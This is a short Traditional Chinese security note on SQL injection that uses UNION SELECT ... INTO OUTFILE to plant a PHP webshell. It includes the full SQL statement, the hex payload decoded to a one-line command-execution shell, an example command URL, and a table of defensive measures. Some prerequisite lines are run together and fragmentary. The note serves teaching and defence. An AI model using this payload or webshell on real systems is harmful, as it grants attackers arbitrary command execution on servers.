攻擊者透過 SQL 注入或 phpMyAdmin 直接執行惡意 SQL,利用 UNION SELECT 搭配 INTO OUTFILE 將 PHP Webshell 寫入 Web 目錄。
SELECT * FROM vbb_strikes WHERE 1
UNION SELECT 2, 3, 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
十六進位 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 解碼為:
<?php system($_REQUEST['cmd']); ?>
攻擊者可透過 https://target/cmd.php?cmd=dir+c:\ 執行任意系統指令。
Ctrl+H 可快速轉換FILE 權限 (可執行 INTO OUTFILE)secure_file_priv 未限制或設定不當 (MySQL 5.5.53+ 預設限制)| 層面 | 措施 |
|---|---|
| 資料庫權限 | 嚴格控管 FILE 權限,僅備份帳號擁有;應用帳號僅 SELECT/INSERT/UPDATE/DELETE |
| MySQL 設定 | 設定 secure_file_priv = /tmp/ 限制匯出路徑;啟用 local_infile=0 |
| 應用程式 | 全面使用參數化查詢/預處理語句;嚴格驗證輸入;錯誤訊息不回顯 SQL 細節 |
| 檔案系統 | Web 目錄不可寫入執行檔;上傳目錄禁用腳本執行權限 |
| 網路層 | WAF 攔截 UNION SELECT INTO OUTFILE 特徵;資料庫不直接對外開放 |
| 監控審計 | 審計日誌記錄所有 INTO OUTFILE、LOAD DATA 操作;異常檔案建立告警 |
mysql.user 是否有異常 FILE 權限帳號